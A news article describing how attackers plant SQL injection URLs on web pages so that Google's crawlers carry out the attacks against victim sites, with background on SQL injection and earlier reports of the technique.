Daniel Cid, a developer of a cloud-based firewall/proxy system, was surprised to discover that his product was blocking requests from Google-owned IP addresses. This was unusual, because few websites want to block Web crawlers, as search engines are so important as a method of site discovery. Cid and his colleagues strive to make sure that their product's default rules don't block Google.

The Google IP address was determined to be legitimate: the traffic was from a Google Web crawler. It was being blocked because it appeared malicious, like it was an attempt at SQL injection. Further examination of the firewall logs showed other, similar requests from Google IP addresses also being blocked.

SQL injection is a technique for exploiting poorly written Web applications. Applications routinely take parameters embedded in URLs and use them to query databases. Well-written applications do this in a way that ensures that the parameters can never be interpreted as actual SQL commands. Badly written applications—which are, unfortunately, abundant—do not. This allows attackers to trick the application into executing SQL commands of their choosing. This can compromise both data and entire systems.

Unsurprisingly enough, it turns out that Google isn't actually using its Web crawlers to perform SQL injection attacks on other people's sites. Unknown, and presumably malicious, third parties are.

The way it works is devastatingly simple. Imagine that there's a site you want to perform an SQL injection attack on. You construct all your SQL injection URLs for the site and stick them into a Web page that you control. Google spiders the Web page and attempts to follow all the URLs it comes across. Since each of those URLs is an SQL injection URL, Google's crawlers attempt to perform SQL injection on the victim.

Obviously, this technique has some significant limitations: the attacker can't actually see the response to the SQL injection attacks, which limits his ability to use this technique to probe systems. However, it's also a difficult thing to prevent, because rejecting Google's crawlers is so undesirable. The only solution is to not be vulnerable to SQL injection attacks.

As happens surprisingly often in the security field, it turns out that tricking crawlers into conducting attacks like this isn't new.

In 2001, Michal Zalewski wrote an article in hacking magazine Phrack that described this technique: create malicious URLs for crawlers to follow to conduct attacks that are hard to trace back to the actual attacker. Security researcher pbr90x claims to have reported similar issues to Microsoft and Google. He says that Microsoft made some (unspecified) changes to its crawler, but that Google did nothing, claiming that its software was working as intended.

Listing image by davidd